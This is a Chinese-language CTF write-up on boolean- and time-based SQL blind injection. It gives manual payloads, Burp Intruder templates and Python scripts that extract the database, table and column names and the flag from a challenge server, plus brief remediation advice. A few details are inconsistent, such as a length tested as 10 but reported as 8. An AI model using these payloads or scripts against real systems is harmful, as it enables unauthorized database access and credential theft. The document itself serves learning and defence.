前言
最近做了些基於布爾盲注和基於時間盲注的CTF題,掌握了CTF題中SQL盲注的三種解法,收獲很大,於是結合題目分享一下。
BASE-Blind-Inject
題目信息
題干分析
第一次走進誤區,剛看到這道題的時候
看到了登錄框,第一印象應該就是簡單的閉合注入,測試后發現是雙引號閉合,所以構造payload注入
" or 1=1#

果然注入進去了。雖然沒有出現flag,但給予了提示“flag就在數據庫里面”,然后又想到題目標題,翻譯成“簡單盲注”
並且flag在數據庫?有頁面返回?所以應該想到這是SQL注入的一種注入方式叫做布爾盲注,並且是POST型。
知識了解
布爾盲注
- 布爾盲注利用前提
頁面沒有顯示位,沒有輸出SQL語句執行錯誤信息,只能通過頁面返回正常不正常來判斷是否存在注入。 - 布爾盲注利用
- 該語句判斷數據庫個數,當數據庫個數大於n頁面顯示正常
(select count(schema_name) from information_schema.schemata)> n - 該語句判斷數據庫內第一個數據庫名有多少字符,字符個數大於n頁面顯示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n - 該語句判斷第一個庫第一個字符是什么,ascii值大於n頁面顯示正常
相關函數
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n - Length()函數 返回字符串的長度
- substr()截取字符串,偏移是從1開始,而不是0開始
- ascii()返回字符的ascii碼
- count(column_name)函數返回指定列的值的數目(NULL 不計入)
開始測試
- 測閉合方式
輸入' or 1=1#不回顯
輸入" or 1=1#正常
可判定是雙引號閉合。 - 測長度
判斷數據庫名的長度
輸入" or (length(database())=10)--+正常
說明長度為8。 - 測字符
用substr()截取字符串的每個字符,ascii()將字符串轉換成其ASCII碼
輸入" or (ascii(substr(database(),1,1))>97)--+正常
盲注開始
費心勞神-手工盲注
利用二分法進行手工盲注。手工盲注可以使用BurpSuite,構造payload在Repeater點擊Go進行發包,這樣會比較便捷。
1.猜庫
用到獲取當前數據庫函數database()
-
猜庫長
" or (length(database())=10)--+正常 -
猜庫名
第一個字符" or (ascii(substr(database(),1,1))>32)--+正常 " or (ascii(substr(database(),1,1))>128)--+不回顯 " or (ascii(substr(database(),1,1))>80)--+正常 " or (ascii(substr(database(),1,1))>104)--+不回顯 " or (ascii(substr(database(),1,1))>92)--+正常 " or (ascii(substr(database(),1,1))>98)--+正常 " or (ascii(substr(database(),1,1))>101)--+不回顯 " or (ascii(substr(database(),1,1))>100)--+不回顯 " or (ascii(substr(database(),1,1))>99)--+不回顯

說明數據庫名的第一個字符ASCII碼為99,即“c”。
第二個字符" or (ascii(substr(database(),2,1))>32)--+正常 " or (ascii(substr(database(),2,1))>128)--+不回顯 " or (ascii(substr(database(),2,1))>80)--+正常 " or (ascii(substr(database(),2,1))>104)--+不回顯 " or (ascii(substr(database(),2,1))>92)--+正常 " or (ascii(substr(database(),2,1))>98)--+正常 " or (ascii(substr(database(),2,1))>101)--+正常 " or (ascii(substr(database(),2,1))>102)--+正常 " or (ascii(substr(database(),2,1))>103)--+正常說明數據庫名的第二個字符ASCII碼為104,即“h”。
依次猜解,最終得到數據庫名:challenges
2.猜表
-
猜表長
" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常所以數據表長度為6
-
猜表名
第一個字符" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117)--+不回顯說明數據表名的第一個字符ASCII碼為117,即“u”。
依次猜解,最終得到數據表名:user_2
3.猜字段
-
猜字段長
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常所以user_2表的數據字段長度分別為2、8、8
-
猜字段名
第一個字段" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>32)--+正常 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>128)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>80)--+正常 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>104)--+正常 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>116)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>110)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>107)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>106)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>105)--+不回顯所以user_2表的第一個字段的字段名的第一個字符ASCII碼為105,即“i”。
猜第二個字段把limit 0,1改為limit 1,1
猜第三個字段把limit 0,1改為limit 2,1
依次猜解,最終得到user_2表的3個字段名分別為:idusernamepassword
3.猜數據
-
猜數據長
" or (length((select password from challenges.user_2 limit 1,1))=32)--+正常所以user_2表的password字段的第2條數據的數據長度為32,這個應該就是flag那條數據了
-
猜數據值
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>32)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>128)--+不回顯 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>80)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>104)--+不回顯 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>92)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>98)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>101)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>102)--+不回顯說明user_2表的password字段的第2條數據(limit 1,1意思是從1開始取(即第二條數據),取一條數據。)的數據值的第一個字符ASCII碼為102,即“f”。
依次猜解,最終得到flag
簡便之法-BurpSuite半自動化盲注
一步一步的利用二分法進行手工盲注,是不是有點麻煩了呢?能不能讓BurpSuite自己進行按順序進行一個一個猜解呢?
於是用到了BurpSuite的一個功能模塊Intruder,構造payload設置變量進行爆破,然后根據返回長度進行排序整理。
1、爆庫
payload
" or (ascii(substr(database(),§1§,1))=§32§)--+
2、爆表
payload
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+
3、爆字段
payload
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+
3、爆數據
payload
" or (ascii(substr((select password from challenges.user_2 limit 1,1),§1§,1))=§32§)--+
提高效率
為了省去轉換字符並減少爆破時間,可以選擇不使用ascii()函數,第二個變量的爆破類型改成Simple list
如:爆庫
payload
" or (substr(database(),§1§,1)='§a§')--+

爆破結果:
發現沒有區分大小寫,所以再通過每個字符的ascii碼是否大於等於97判斷每個字符是大寫還是小寫,小於97即大寫。
這樣就提高了一點效率。
神來之筆-腳本盲注
使用BurpSuite半自動化盲注,看似可以。但是不是有一種方法,可以不用其他操作,輕松得到數據庫的信息呢?於是想到使用腳本進行盲注來提高效率。布爾盲注腳本如下:
import requests chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+' postdata={ 'username':'" or 1=1#', 'password':'admin' } url="http://35.201.188.231:9000/challenge-02/post.php" r=requests.post(url,data=postdata) length=len(r.text) def name(url,length): dbname='' print("數據庫名:",dbname) payload='" or ascii(substr(database(),{0},1))={1} #' #print("數據表名:",dbname) #payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#' #print("字段名:",dbname) #payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#' #print("數據:",dbname) #payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#' for i in range(1,40): char='' for x in chars: char_ascii=ord(x) payloads=payload.format(i,char_ascii) postdata={ 'username':payloads, 'password':'admin' } r=requests.post(url,data=postdata) if len(r.text) == length: dbname+=x print(dbname) char=x break if char=='': break return dbname name(url,length)
測試一下
如果傳參方式是get傳參,只需在url后添加? 參數名=,再將requests.post改成requests.get即可。
BASE-TIME-BLIND-INJECT
題目信息
題干分析
第二次走進誤區,剛看到這道題的時候
從題目標題看出是時間盲注。試了單引號閉合和和雙引號閉合,結果並沒有什么用,於是查看了一下源碼,發現關鍵點了。竟然有源碼可以下載!
查看下載的源碼,發現是 '" 閉合,並且傳參為POST傳參。
知識了解
時間盲注
- 時間盲注利用前提
頁面上沒有顯示位,也沒有輸出SQL語句執行錯誤信息。 正確的SQL語句和錯誤的SQL語句返回頁面都一樣,但是加入sleep(5)條件之后,頁面的返回速度明顯慢了5秒。 - 時間盲注利用
- 該語句判斷數據庫個數,當數據庫個數等於n頁面返回延遲5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1) - 該語句判斷數據庫內第一個數據庫名有多少字符,字符個數等於n頁面返回延遲5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1) - 該語句判斷第一個庫第一個字符是什么,ascii值等於n頁面返回延遲5秒
相關函數
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1) - Length()函數 返回字符串的長度
- substr()截取字符串
- ascii()返回字符的ascii碼
- sleep(n):將程序掛起一段時間 n為n秒
- if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
- count(column_name)函數返回指定列的值的數目(NULL 不計入)
開始測試
- 測試語句
輸入'" or if(1=1,sleep(5),1)#延遲5秒
輸入'" or if(1=2,sleep(5),1)#正常 - 測長度
判斷數據庫名的長度
輸入'" or if((length(database())=10),sleep(5),1)--+延遲5秒
說明長度為8。 - 測字符
用substr()截取字符串的每個字符,ascii()將字符串轉換成其ASCII碼
輸入'" or if((ascii(substr(database(),1,1))>97),sleep(5),1)--+延遲5秒
盲注開始
費心勞神-手工盲注
同樣利用二分法進行手工盲注,與布爾盲注不同之處是頁面上沒有回顯,所以使用了if()函數和sleep()函數,根據返回時間判斷。同樣可以使用BurpSuite進行測試。
1.猜庫
用到獲取當前數據庫函數database()
-
猜庫長
'" or if((length(database())=10),sleep(5),1)--+延遲5秒 -
猜庫名
第一個字符'" or if((ascii(substr(database(),1,1))>32),sleep(5),1)--+延遲5秒 '" or if((ascii(substr(database(),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr(database(),1,1))>104),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>92),sleep(5),1)--+延遲5秒 '" or if((ascii(substr(database(),1,1))>98),sleep(5),1)--+延遲5秒 '" or if((ascii(substr(database(),1,1))>101),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>100),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>99),sleep(5),1)--+正常
2.猜表
-
猜表長
'" or if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延遲5秒所以數據表長度為6
-
猜表名
第一個字符'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117),sleep(5),1)--+正常說明數據表名的第一個字符ASCII碼為117,即“u”。
依次猜解,最終得到數據表名:user_3
3.猜字段
-
猜字段長
'" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1))=2),sleep(5),1)--+延遲5秒'" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 1,1))=8),sleep(5),1)--+延遲5秒'" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1))=8),sleep(5),1)--+延遲5秒所以user_3表的數據字段長度分別為2、8、8
-
猜字段名
第一個字段'" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>110),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>107),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>106),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>105),sleep(5),1)--+正常所以user_3表的第一個字段的字段名的第一個字符ASCII碼為105,即“i”。
依次猜解,最終得到user_3表的3個字段名分別為:idusernamepassword
3.猜數據
-
猜數據長
'" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延遲5秒所以user_3表的password字段的第2條數據的數據長度為25,這個應該就是flag那條數據了
-
猜數據值
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>32),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>104),sleep(5),1)--+正常 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>92),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>98),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>101),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>102),sleep(5),1)--+正常說明user_3表的password字段的第2條數據(limit 1,1意思是從1開始取(即第二條數據),取一條數據。)的數據值的第一個字符ASCII碼為102,即“f”。
依次猜解,最終得到flag
簡便之法-BurpSuite半自動化盲注
和布爾盲注一樣,時間盲注是不是也可以進行構造payload,並設置變量進行爆破呢?發現與布爾盲注不同之處就是使用了sleep()和if()。並且對爆破結果要根據返回時間進行整理排序。
1、爆庫
payload
" or if((ascii(substr(database(),§1§,1))=§32§),sleep(5),1)--+
2、爆表
payload
" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§),sleep(5),1)--+
與爆庫的不同之處就是payload和結果長度(結果長度由10改為6)。然后開始爆破,根據返回時間確定爆破結果。
最后排序、轉換字符。最后得到表名為:user_3
3、爆字段
payload
" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1),§1§,1))=§32§),sleep(5),1)--+
上述payload爆第三個字段,與爆庫的不同之處就是payload和結果長度,改一下(結果長度改為8)。
然后開始爆破,根據返回時間確定爆破結果。最后排序、轉換字符,得到第三個字段為:password
3、爆數據
payload
" or if((ascii(substr((select password from challenges.user_3 limit 1,1),§1§,1))=§32§),sleep(5),1)--+
與爆庫的不同之處就是payload和結果長度,改一下(結果長度改為25)。然后開始爆破,根據返回時間確定爆破結果。
最后排序、轉換字符,得到最終flag。
提高效率
當然時間盲注也可以用布爾盲注的那種方法提高效率,即選擇不使用ascii()函數。與布爾盲注不同之處是使用了sleep()函數和if(expr1,expr2,expr3)函數。
神來之筆-腳本盲注
和布爾盲注一樣,是不是也可以寫一個時間盲注腳本來提高效率呢?於是想到用python里的time.time()函數,返回當前時間的時間戳。記錄提交和返回過程的時間差,然后進行判斷。時間盲注腳本如下:
import requests import time import string import sys chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+' url="http://35.201.188.231:9000/challenge-03/post.php" dbname='' payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #" print("數據庫名:",dbname) #payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #" #print("數據表名:",dbname) #payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #" #print("字段名:",dbname) #payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #" #print("數據:",dbname) for i in range(1,40): char='' for x in chars: char_ascii=ord(x) payloads=payload.format(i,char_ascii) start=time.time() postdata={ 'username':payloads, 'password':'admin' } r=requests.post(url,data=postdata) if (time.time() - start)>=5: dbname+=x print(dbname) char=x break if char=='': break
測試一下
同樣如果傳參方式是get傳參,只需在url后添加? 參數名=,再將requests.post改成requests.get即可。
SQL盲注的利用
在一些SQL注入中往往有用到SQL盲注的方法,進行猜解數據庫信息。比如在order by排序注入中,利用基於時間盲注的方法。
select * from users order by id desc;
因為desc是可控的傳參值。所以可進行注入
基於時間盲注
?order=if(1=1,1,sleep(5)) 正常響應時間 ?order=if(1=2,1,sleep(5)) 延遲5秒
SQL盲注漏洞的修復方案
SQL盲注的危害大家也都看到了,但是我們該如何防止這種情況的發生呢?
簡單來講,就是永遠不要相信用戶的輸入。所以要對請求進行過濾,對參數進行驗證,對非法字符進行攔截替換,清理用戶輸入的危險字符,保證sql能夠在數據庫中正確的編譯和執行。這便是解決SQL盲注的簡單思路。
當然,還有另一種方法,就是不使用SQL拼接語句。先在后台進行SQL查詢,然后將查詢結果與用戶輸入進行比對。
總結
從兩道SQL盲注的CTF題中,明白SQL盲注的三種解法,以及SQL盲注的危害和利用。同時也想到一些修復方案。
總之收獲很大。但本人文采有限,操作生疏。若有任何不當之處,還望各位師傅指出。



























